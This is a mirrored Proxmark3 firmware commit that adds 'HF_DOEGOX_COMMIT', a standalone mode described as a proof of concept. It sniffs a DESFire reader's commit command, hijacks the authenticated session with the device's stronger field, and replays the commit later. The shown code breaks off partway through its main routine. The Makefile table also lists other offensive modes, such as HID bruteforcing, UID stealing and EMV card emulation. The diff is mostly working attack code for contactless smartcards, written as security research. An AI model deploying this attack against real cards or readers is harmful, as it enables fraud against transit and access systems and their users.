mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2026-10-12 02:09:28 +00:00
standalone mode HF_DOEGOX_COMMIT: DESFire suspended commit without relay
This commit is contained in:
Philippe Teuwen
+2
-1
@@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file.
|
||||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||
|
||||
## [unreleased][unreleased]
|
||||
- Add support for Innovatron protocol detection to `hf 14b info` (@kormax)
|
||||
- Added standalone mode `HF_DOEGOX_COMMIT`: DESFire suspended commit without relay (@doegox)
|
||||
- Added support for Innovatron protocol detection to `hf 14b info` (@kormax)
|
||||
- Improved `lf cotag reader` and `lf cotag demod`: Reimplementation and enhancement of proxmark3 COTAG support
|
||||
- Added `hf felica sim` command (@kormax)
|
||||
- Added `mad read`, `mad write`, `mad verify`, `mad decode`, `mad encode` commands with typed struct MAD API (@AlxCzl)
|
||||
|
||||
+126
-123
@@ -21,134 +21,137 @@ STANDALONE?=$(DEFAULT_STANDALONE)
|
||||
STANDALONE_REQ_DEFS=
|
||||
|
||||
define KNOWN_STANDALONE_DEFINITIONS
|
||||
+==========================================================+
|
||||
| STANDALONE | DESCRIPTION |
|
||||
+==========================================================+
|
||||
| (empty) | No standalone mode |
|
||||
+----------------------------------------------------------+
|
||||
| LF_SKELETON | standalone mode skeleton |
|
||||
| | - iceman |
|
||||
+----------------------------------------------------------+
|
||||
| LF_EM4100EMUL | Simulate predefined em4100 tags only |
|
||||
| | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_EM4100RSWB | Read/simulate/brute em4100 tags & |
|
||||
| | clone it to T555x tags |
|
||||
+----------------------------------------------------------+
|
||||
| LF_EM4100RSWW | Read/simulate/validate em4100 tags & |
|
||||
| | clone it to T55xx tags, wipe T55xx tags|
|
||||
+----------------------------------------------------------+
|
||||
| LF_EM4100RWC | Read/simulate em4100 tags & clone it |
|
||||
| | to T555x tags |
|
||||
+----------------------------------------------------------+
|
||||
| LF_HIDBRUTE | HID corporate 1000 bruteforce |
|
||||
| | - Federico dotta & Maurizio Agazzini |
|
||||
+----------------------------------------------------------+
|
||||
| LF_HIDFCBRUTE | HID Facility Code bruteforce |
|
||||
| (RDV4 only) | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_ICEHID | LF HID collector to flashmem |
|
||||
| (RDV4 only) | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator |
|
||||
| | - Shain Lakin |
|
||||
+----------------------------------------------------------+
|
||||
| LF_NEDAP_SIM | LF Nedap ID simple simulator |
|
||||
| | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_NEXID | LF Nexwatch collector to flashmem |
|
||||
| (RDV4 only) | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_PROXBRUTE | HID ProxII bruteforce |
|
||||
| | - Brad Antoniewicz |
|
||||
+----------------------------------------------------------+
|
||||
| LF_PROX2BRUTE | HID ProxII bruteforce v2 |
|
||||
| | |
|
||||
+----------------------------------------------------------+
|
||||
| LF_SAMYRUN | HID26 read/clone/sim |
|
||||
| (default) | - Samy Kamkar |
|
||||
+----------------------------------------------------------+
|
||||
| LF_THAREXDE | Simulate/read EM4x50 tags |
|
||||
| (RDV4 only) | storing in flashmem |
|
||||
+----------------------------------------------------------+
|
||||
| HF_14ASNIFF | 14a sniff to flashmem (rdv4) or ram |
|
||||
| | |
|
||||
+----------------------------------------------------------+
|
||||
| HF_14BSNIFF | 14b sniff to flashmem (rdv4) or ram |
|
||||
| | |
|
||||
+----------------------------------------------------------+
|
||||
| HF_15SNIFF | 15693 sniff to flashmem (rdv4) or ram |
|
||||
| | |
|
||||
+----------------------------------------------------------+
|
||||
| HF_15SIM | 15693 tag simulator |
|
||||
| | |
|
||||
+----------------------------------------------------------+
|
||||
| HF_AVEFUL | Mifare ultralight read/simulation |
|
||||
| | - Ave Ozkal |
|
||||
+----------------------------------------------------------+
|
||||
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth |
|
||||
| (RDV4 only) | storing in flashmem - Bogito |
|
||||
+----------------------------------------------------------+
|
||||
| HF_CARDHOPPER | Relay 14a protocols over long distances|
|
||||
| (RDV4 only) | (w/ IP backbone) - Sam Haskins |
|
||||
+----------------------------------------------------------+
|
||||
| HF_COLIN | Mifare ultra fast sniff/sim/clone |
|
||||
| (RDV4 only) | - Colin Brigato |
|
||||
+----------------------------------------------------------+
|
||||
| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID |
|
||||
| | - Anze Jensterle |
|
||||
+----------------------------------------------------------+
|
||||
| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker |
|
||||
| | - Philippe Teuwen |
|
||||
+----------------------------------------------------------+
|
||||
| HF_ICECLASS | Simulate HID iCLASS legacy ags |
|
||||
| (RDV4 only) | storing in flashmem |
|
||||
+----------------------------------------------------------+
|
||||
| HF_LEGIC | Read/simulate Legic Prime tags |
|
||||
| | storing in flashmem |
|
||||
+----------------------------------------------------------+
|
||||
| HF_LEGICSIM | Simulate Legic Prime tags |
|
||||
| (RDV4 only) | stored on flashmem |
|
||||
+----------------------------------------------------------+
|
||||
| HF_MATTYRUN | Mifare sniff/clone |
|
||||
| | - Matías A. Ré Medina |
|
||||
+----------------------------------------------------------+
|
||||
| HF_MFCSIM | Simulate Mifare Classic 1k card |
|
||||
| (RDV4 only) | storing in flashmem - Ray Lee |
|
||||
+----------------------------------------------------------+
|
||||
| HF_MSDSAL | Read and emulate MSD Visa cards |
|
||||
| | - Salvador Mendoza |
|
||||
+----------------------------------------------------------+
|
||||
| HF_REBLAY | 14A Relay over BT |
|
||||
| (RDV4 only) | - Salvador Mendoza |
|
||||
+----------------------------------------------------------+
|
||||
| HF_ST25_TEAROFF | Store/restore ST25TB tags with |
|
||||
| | tear-off for counters - SecLabz |
|
||||
+----------------------------------------------------------+
|
||||
| HF_TCPRST | IKEA Rothult read/sim/dump/emul |
|
||||
| | - Nick Draffen |
|
||||
+----------------------------------------------------------+
|
||||
| HF_TMUDFORD | Read and emulate 15 tags |
|
||||
| | - Tim Mudford |
|
||||
+----------------------------------------------------------+
|
||||
| HF_UNISNIFF | Sniff 14a/14b/15 (optionally to flash) |
|
||||
| | - hazardousvoltage |
|
||||
+----------------------------------------------------------+
|
||||
| HF_YOUNG | Mifare sniff/simulation |
|
||||
| | - Craig Young |
|
||||
+----------------------------------------------------------+
|
||||
| DANKARMULTI | Load multiple standalone modes. |
|
||||
| | - Daniel Karling |
|
||||
+----------------------------------------------------------+
|
||||
| HF_EMVPNG | Read and emulate EMV Visa cards |
|
||||
| | - Davi Mikael (Penegui) |
|
||||
+----------------------------------------------------------+
|
||||
+===========================================================+
|
||||
| STANDALONE | DESCRIPTION |
|
||||
+===========================================================+
|
||||
| (empty) | No standalone mode |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_SKELETON | standalone mode skeleton |
|
||||
| | - iceman |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_EM4100EMUL | Simulate predefined em4100 tags only |
|
||||
| | |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_EM4100RSWB | Read/simulate/brute em4100 tags & |
|
||||
| | clone it to T555x tags |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_EM4100RSWW | Read/simulate/validate em4100 tags & |
|
||||
| | clone it to T55xx tags, wipe T55xx tags|
|
||||
+-----------------------------------------------------------+
|
||||
| LF_EM4100RWC | Read/simulate em4100 tags & clone it |
|
||||
| | to T555x tags |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_HIDBRUTE | HID corporate 1000 bruteforce |
|
||||
| | - Federico dotta & Maurizio Agazzini |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_HIDFCBRUTE | HID Facility Code bruteforce |
|
||||
| (RDV4 only) | |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_ICEHID | LF HID collector to flashmem |
|
||||
| (RDV4 only) | |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator |
|
||||
| | - Shain Lakin |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_NEDAP_SIM | LF Nedap ID simple simulator |
|
||||
| | |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_NEXID | LF Nexwatch collector to flashmem |
|
||||
| (RDV4 only) | |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_PROXBRUTE | HID ProxII bruteforce |
|
||||
| | - Brad Antoniewicz |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_PROX2BRUTE | HID ProxII bruteforce v2 |
|
||||
| | |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_SAMYRUN | HID26 read/clone/sim |
|
||||
| (default) | - Samy Kamkar |
|
||||
+-----------------------------------------------------------+
|
||||
| LF_THAREXDE | Simulate/read EM4x50 tags |
|
||||
| (RDV4 only) | storing in flashmem |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_14ASNIFF | 14a sniff to flashmem (rdv4) or ram |
|
||||
| | |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_14BSNIFF | 14b sniff to flashmem (rdv4) or ram |
|
||||
| | |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_15SNIFF | 15693 sniff to flashmem (rdv4) or ram |
|
||||
| | |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_15SIM | 15693 tag simulator |
|
||||
| | |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_AVEFUL | Mifare ultralight read/simulation |
|
||||
| | - Ave Ozkal |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth |
|
||||
| (RDV4 only) | storing in flashmem - Bogito |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_CARDHOPPER | Relay 14a protocols over long distances|
|
||||
| (RDV4 only) | (w/ IP backbone) - Sam Haskins |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_COLIN | Mifare ultra fast sniff/sim/clone |
|
||||
| (RDV4 only) | - Colin Brigato |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID |
|
||||
| | - Anze Jensterle |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker |
|
||||
| | - Philippe Teuwen |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_DOEGOX_COMMIT | DESFire suspended commit |
|
||||
| | - Philippe Teuwen |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_ICECLASS | Simulate HID iCLASS legacy ags |
|
||||
| (RDV4 only) | storing in flashmem |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_LEGIC | Read/simulate Legic Prime tags |
|
||||
| | storing in flashmem |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_LEGICSIM | Simulate Legic Prime tags |
|
||||
| (RDV4 only) | stored on flashmem |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_MATTYRUN | Mifare sniff/clone |
|
||||
| | - Matías A. Ré Medina |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_MFCSIM | Simulate Mifare Classic 1k card |
|
||||
| (RDV4 only) | storing in flashmem - Ray Lee |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_MSDSAL | Read and emulate MSD Visa cards |
|
||||
| | - Salvador Mendoza |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_REBLAY | 14A Relay over BT |
|
||||
| (RDV4 only) | - Salvador Mendoza |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_ST25_TEAROFF | Store/restore ST25TB tags with |
|
||||
| | tear-off for counters - SecLabz |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_TCPRST | IKEA Rothult read/sim/dump/emul |
|
||||
| | - Nick Draffen |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_TMUDFORD | Read and emulate 15 tags |
|
||||
| | - Tim Mudford |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_UNISNIFF | Sniff 14a/14b/15 (optionally to flash) |
|
||||
| | - hazardousvoltage |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_YOUNG | Mifare sniff/simulation |
|
||||
| | - Craig Young |
|
||||
+-----------------------------------------------------------+
|
||||
| DANKARMULTI | Load multiple standalone modes. |
|
||||
| | - Daniel Karling |
|
||||
+-----------------------------------------------------------+
|
||||
| HF_EMVPNG | Read and emulate EMV Visa cards |
|
||||
| | - Davi Mikael (Penegui) |
|
||||
+-----------------------------------------------------------+
|
||||
endef
|
||||
|
||||
|
||||
STANDALONE_MODES := LF_SKELETON
|
||||
STANDALONE_MODES += LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE
|
||||
STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_DOEGOX_AUTH0 HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG
|
||||
STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_DOEGOX_AUTH0 HF_DOEGOX_COMMIT HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG
|
||||
STANDALONE_MODES += DANKARMULTI
|
||||
STANDALONE_MODES_REQ_BT := HF_CARDHOPPER HF_REBLAY
|
||||
STANDALONE_MODES_REQ_SMARTCARD :=
|
||||
|
||||
@@ -117,6 +117,10 @@ endif
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_DOEGOX_AUTH0,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_doegox_auth0.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_DOEGOX_COMMIT
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_DOEGOX_COMMIT,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_doegox_commit.c
|
||||
endif
|
||||
# WITH_STANDALONE_HF_ICECLASS
|
||||
ifneq (,$(findstring WITH_STANDALONE_HF_ICECLASS,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = hf_iceclass.c
|
||||
|
||||
@@ -79,9 +79,6 @@
|
||||
#include "commonutil.h"
|
||||
#include "BigBuf.h"
|
||||
|
||||
#define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8)
|
||||
#define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8)
|
||||
|
||||
typedef enum {
|
||||
ST_LOOK_FOR_CARD = 0,
|
||||
ST_SNIFF_AUTH,
|
||||
|
||||
@@ -0,0 +1,430 @@
|
||||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) Philippe Teuwen, 2026
|
||||
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
|
||||
//
|
||||
// This program is free software: you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License as published by
|
||||
// the Free Software Foundation, either version 3 of the License, or
|
||||
// (at your option) any later version.
|
||||
//
|
||||
// This program is distributed in the hope that it will be useful,
|
||||
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
// GNU General Public License for more details.
|
||||
//
|
||||
// See LICENSE.txt for the text of the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
//
|
||||
// Standalone mode: Suspend commit on DESFire
|
||||
//
|
||||
// Disclaimer:
|
||||
// This is a proof of concept, not a polished tool.
|
||||
//
|
||||
// Description:
|
||||
// It attempts to take over an authenticated session between a reader and
|
||||
// a DESFire tag, and suspend the commit operation.
|
||||
// In principle, this requires a relay attack implying two Proxmark3 devices,
|
||||
// but this code allows to do it with a single Proxmark3.
|
||||
// The original relay attack was presented by Rory Flynn in his thesis
|
||||
// "An investigation of possible attacks on the MIFARE DESFire EV1 smartcard used in public transportation", 2019
|
||||
//
|
||||
// Principle of operation:
|
||||
// It starts as a sniffer, waiting for a commit operation between a reader and a tag.
|
||||
// Once it detects the beginning of a reader commit command, it waits until the CRC is about to come in, then
|
||||
// it quickly switches to reader mode to take over the reader field.
|
||||
// If the tag is positioned to have a much stronger coupling with the Proxmark3
|
||||
// than with the reader, the Proxmark3 field will obliterate the reader field,
|
||||
// keeping the tag powered and blocking the reader's commands.
|
||||
// Then, once the reader is moved away, the Proxmark3 can recompute the CRC and send the commit command.
|
||||
//
|
||||
// Relative positions are important:
|
||||
// - Ensure a good coupling between tag and RDV4
|
||||
// - Try to get the reader authenticating the tag from as far as possible, with the RDV4 directly behind the tag
|
||||
// - Still, you may need to come a bit closer if the RDV4 cannot sniff properly the communication
|
||||
//
|
||||
// Limitations:
|
||||
// - So far, it only works with RDV4 (which has a 9V antenna driver vs. the 5V of Easy versions)
|
||||
// - EV3 may have a Transaction Timer configured as a countermeasure. EV1 and EV2 do not have this timer.
|
||||
//
|
||||
// Tested modes:
|
||||
// - RDV4 + MF3D42 + RDV4 "hf mfdes write ... --algo aes --commit"
|
||||
//
|
||||
// Usage:
|
||||
// LEDS: 0 = off, 1 = on, * = blink A B C D
|
||||
// ------------------------------------------------------------------------
|
||||
// Start standalone mode => * 0 0 1
|
||||
// Place a DESFire tag on the Proxmark3
|
||||
// if the pm3 detects it: => 1 * 0 0
|
||||
// Bring tag and pm3 slowly towards the authenticating reader
|
||||
// if the pm3 detects a commit command: => 1 1 * 0
|
||||
// Pull the tag and Proxmark3 together away from the reader
|
||||
// Press the button 1 second and release it
|
||||
// if the pm3 managed to commit: => 1 1 1 1
|
||||
// if it failed to commit, D will blink very fast => 1 1 1 *
|
||||
// Press the button and release it
|
||||
// exit standalone mode => 0 0 0 0
|
||||
|
||||
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "proxmark3_arm.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "iso14443a.h"
|
||||
#include "util.h"
|
||||
#include "appmain.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "protocols.h"
|
||||
#include "mifareutil.h"
|
||||
#include "string.h"
|
||||
#include "commonutil.h"
|
||||
#include "BigBuf.h"
|
||||
|
||||
typedef enum {
|
||||
ST_LOOK_FOR_CARD = 0,
|
||||
ST_SNIFF_COMMIT,
|
||||
ST_WAIT_BUTTON,
|
||||
ST_WAIT_BUTTON_RELEASE,
|
||||
ST_COMMIT,
|
||||
ST_EXIT
|
||||
} state_t;
|
||||
|
||||
typedef enum {
|
||||
TAG_NONE = 0,
|
||||
TAG_MFDES,
|
||||
TAG_OTHER,
|
||||
} tag_t;
|
||||
|
||||
static uint8_t commitCmd[256];
|
||||
static uint16_t commitCmdLen;
|
||||
|
||||
static void blink_led_slow(uint8_t led) {
|
||||
LED(led, 1);
|
||||
SpinDelay(200);
|
||||
LED(led, 0);
|
||||
SpinDelay(200);
|
||||
}
|
||||
|
||||
static void blink_led_fast(uint8_t led) {
|
||||
LED(led, 1);
|
||||
SpinDelay(40);
|
||||
LED(led, 0);
|
||||
SpinDelay(40);
|
||||
}
|
||||
|
||||
static bool find_tag(tag_t *tag_type) {
|
||||
*tag_type = TAG_NONE;
|
||||
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||||
LED_D_OFF();
|
||||
iso14a_card_select_t card;
|
||||
if (iso14443a_select_card(NULL, &card, NULL, true, 0, false) == false) {
|
||||
goto out;
|
||||
}
|
||||
|
||||
Dbprintf("Found card with SAK: %02X, ATQA: %02X %02X", card.sak, card.atqa[0], card.atqa[1]);
|
||||
if (card.sak != 0x20) {
|
||||
*tag_type = TAG_OTHER;
|
||||
DbpString("Not a DESFire tag. Ignoring...");
|
||||
goto out;
|
||||
}
|
||||
uint8_t version[10] = {0x00};
|
||||
uint16_t version_len = 0;
|
||||
uint8_t version_cmd[8] = {0x02, 0x90, MFDES_GET_VERSION, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
AddCrc14A(version_cmd, sizeof(version_cmd) - 2);
|
||||
ReaderTransmit(version_cmd, sizeof(version_cmd), NULL);
|
||||
version_len = ReaderReceive(version, ARRAYLEN(version), NULL);
|
||||
// Dbprintf("GetVersion resp(%u):", version_len);
|
||||
// Dbhexdump(version_len, version, 0);
|
||||
if ((version_len >= 3) && (version[1] == 0x04) && ((version[2] & 0x0F) == 0x01)) {
|
||||
*tag_type = TAG_MFDES;
|
||||
DbpString("Found DESFire");
|
||||
goto out;
|
||||
}
|
||||
*tag_type = TAG_OTHER;
|
||||
out:
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
return *tag_type != TAG_NONE;
|
||||
}
|
||||
|
||||
static tUart14a *uart;
|
||||
static tDemod14a *demod;
|
||||
|
||||
// Derived from SniffIso14443a
|
||||
// wait for commit command
|
||||
static bool RAMFUNC sniff_wait_for_commit(tag_t type) {
|
||||
|
||||
iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER);
|
||||
|
||||
// Allocate memory from BigBuf for some buffers
|
||||
// free all previous allocations first
|
||||
BigBuf_free();
|
||||
BigBuf_Clear_ext(false);
|
||||
bool found_commit = false;
|
||||
|
||||
// The command (reader -> tag) that we're receiving.
|
||||
uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE);
|
||||
uint8_t *receivedCmdPar = BigBuf_calloc(MAX_PARITY_SIZE);
|
||||
|
||||
// The response (tag -> reader) that we're receiving.
|
||||
uint8_t *receivedResp = BigBuf_calloc(MAX_FRAME_SIZE);
|
||||
uint8_t *receivedRespPar = BigBuf_calloc(MAX_PARITY_SIZE);
|
||||
|
||||
uint8_t previous_data = 0;
|
||||
int maxDataLen = 0, dataLen;
|
||||
bool TagIsActive = false;
|
||||
bool ReaderIsActive = false;
|
||||
|
||||
// Set up the demodulator for tag -> reader responses.
|
||||
Demod14aInit(receivedResp, MAX_FRAME_SIZE, receivedRespPar);
|
||||
|
||||
// Set up the demodulator for the reader -> tag commands
|
||||
Uart14aInit(receivedCmd, MAX_FRAME_SIZE, receivedCmdPar);
|
||||
|
||||
// The DMA buffer, used to stream samples from the FPGA
|
||||
dmabuf8_t *dma = get_dma8();
|
||||
uint8_t *data = dma->buf;
|
||||
|
||||
// Setup and start DMA.
|
||||
if (FpgaSetupSscDma((uint8_t *) dma->buf, DMA_BUFFER_SIZE) == false) {
|
||||
if (g_dbglevel > DBG_ERROR) Dbprintf("FpgaSetupSscDma failed. Exiting");
|
||||
goto out;
|
||||
}
|
||||
|
||||
uint32_t rx_samples = 0;
|
||||
|
||||
// loop and listen
|
||||
uint32_t ledb_counter = 0;
|
||||
while (BUTTON_PRESS() == false) {
|
||||
register int readBufDataP = data - dma->buf;
|
||||
register int dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR;
|
||||
if (readBufDataP <= dmaBufDataP) {
|
||||
dataLen = dmaBufDataP - readBufDataP;
|
||||
} else {
|
||||
dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP;
|
||||
}
|
||||
|
||||
// test for length of buffer
|
||||
if (dataLen > maxDataLen) {
|
||||
maxDataLen = dataLen;
|
||||
if (dataLen > (9 * DMA_BUFFER_SIZE / 10)) {
|
||||
Dbprintf("[!] blew circular buffer! | datalen %u counter %u", dataLen, ledb_counter);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (dataLen < 1) {
|
||||
continue;
|
||||
}
|
||||
WDT_HIT();
|
||||
if (ledb_counter++ > 100000) {
|
||||
LED_B_INV();
|
||||
ledb_counter = 0;
|
||||
}
|
||||
|
||||
// primary buffer was stopped( <-- we lost data!
|
||||
if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) {
|
||||
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf;
|
||||
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
|
||||
// Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary
|
||||
}
|
||||
// secondary buffer sets as primary, secondary buffer was stopped
|
||||
if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) {
|
||||
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf;
|
||||
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
|
||||
}
|
||||
|
||||
// Need two samples to feed Miller and Manchester-Decoder
|
||||
if (rx_samples & 0x01) {
|
||||
|
||||
if (!TagIsActive) { // no need to try decoding reader data if the tag is sending
|
||||
uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4);
|
||||
if (MillerDecoding(readerdata, (rx_samples - 1) * 4)) {
|
||||
// Dbprintf("Received reader command (%i):", uart->len);
|
||||
// Dbhexdump(uart->len, receivedCmd, 0);
|
||||
// ready to receive another command
|
||||
Uart14aReset();
|
||||
// reset the demod code, which might have been
|
||||
// false-triggered by the commands from the reader
|
||||
Demod14aReset();
|
||||
} else {
|
||||
if ((uart->bitCount == 0) &&
|
||||
(uart->len == 6) &&
|
||||
(receivedCmd[1] == 0x90) &&
|
||||
(receivedCmd[2] == 0xC7)) {
|
||||
// Dbprintf("Partial commit command (%i):", uart->len);
|
||||
// Dbhexdump(uart->len, receivedCmd, 0);
|
||||
memcpy(commitCmd, receivedCmd, uart->len);
|
||||
commitCmdLen = uart->len + 2;
|
||||
found_commit = true;
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
|
||||
ReaderIsActive = (uart->state != STATE_14A_UNSYNCD);
|
||||
}
|
||||
|
||||
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
|
||||
if (!ReaderIsActive) {
|
||||
uint8_t tagdata = (previous_data << 4) | (*data & 0x0F);
|
||||
if (ManchesterDecoding(tagdata, 0, (rx_samples - 1) * 4)) {
|
||||
// Dbprintf("Received tag response (%i):", demod->len);
|
||||
// Dbhexdump(demod->len, receivedResp, 0);
|
||||
|
||||
// ready to receive another response.
|
||||
Demod14aReset();
|
||||
// reset the Miller decoder including its (now outdated) input buffer
|
||||
Uart14aReset();
|
||||
// UartInit(receivedCmd, receivedCmdPar);
|
||||
}
|
||||
TagIsActive = (demod->state != DEMOD_14A_UNSYNCD);
|
||||
}
|
||||
}
|
||||
|
||||
previous_data = *data;
|
||||
rx_samples++;
|
||||
data++;
|
||||
if (data == dma->buf + DMA_BUFFER_SIZE) {
|
||||
data = dma->buf;
|
||||
}
|
||||
} // end main loop
|
||||
out:
|
||||
if (found_commit) {
|
||||
// Bring HF on to take over reader field
|
||||
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||||
LED_D_OFF();
|
||||
} else {
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
}
|
||||
FpgaDisableTracing();
|
||||
FpgaDisableSscDma();
|
||||
return found_commit;
|
||||
}
|
||||
|
||||
static bool commit(tag_t type) {
|
||||
bool success = false;
|
||||
uint8_t resp[15] = {0x00};
|
||||
uint16_t resp_len = 0;
|
||||
AddCrc14A(commitCmd, 6);
|
||||
ReaderTransmit(commitCmd, commitCmdLen, NULL);
|
||||
resp_len = ReaderReceive(resp, ARRAYLEN(resp), NULL);
|
||||
Dbprintf("Commit resp(%u): %02X %02X", resp_len, resp[resp_len - 4], resp[resp_len - 3]);
|
||||
if (resp_len > 4 && resp[resp_len - 4] == 0x91 && resp[resp_len - 3] == 0x00) {
|
||||
success = true;
|
||||
}
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
return success;
|
||||
}
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString("DESFire suspended commit by Philippe Teuwen");
|
||||
}
|
||||
|
||||
void RunMod(void) {
|
||||
state_t state = ST_LOOK_FOR_CARD;
|
||||
tag_t tag_type = TAG_NONE;
|
||||
|
||||
uart = GetUart14a();
|
||||
demod = GetDemod14a();
|
||||
|
||||
StandAloneMode();
|
||||
Dbprintf("Doegox DESFire suspended commit started");
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
|
||||
set_tracing(false);
|
||||
LEDsoff();
|
||||
bool welcome_state_look = true;
|
||||
bool welcome_state_sniff = true;
|
||||
bool welcome_state_button = true;
|
||||
|
||||
for (;;) {
|
||||
if (state == ST_EXIT || ((state != ST_WAIT_BUTTON) && (state != ST_WAIT_BUTTON_RELEASE) && BUTTON_PRESS())) {
|
||||
break;
|
||||
}
|
||||
|
||||
switch (state) {
|
||||
case ST_LOOK_FOR_CARD: {
|
||||
if (welcome_state_look) {
|
||||
Dbprintf("Place a DESFire tag on the Proxmark3.");
|
||||
welcome_state_look = false;
|
||||
}
|
||||
blink_led_slow(LED_A);
|
||||
if (find_tag(&tag_type)) {
|
||||
if (tag_type == TAG_MFDES) {
|
||||
DbpString("Found DESFire tag!");
|
||||
state = ST_SNIFF_COMMIT;
|
||||
// SpinDelay(1000);
|
||||
break;
|
||||
} else {
|
||||
DbpString("Found other tag type, ignoring...");
|
||||
uint32_t t0 = GetTickCount();
|
||||
while (GetTickCount() - t0 < 2000) {
|
||||
blink_led_fast(LED_A);
|
||||
}
|
||||
}
|
||||
}
|
||||
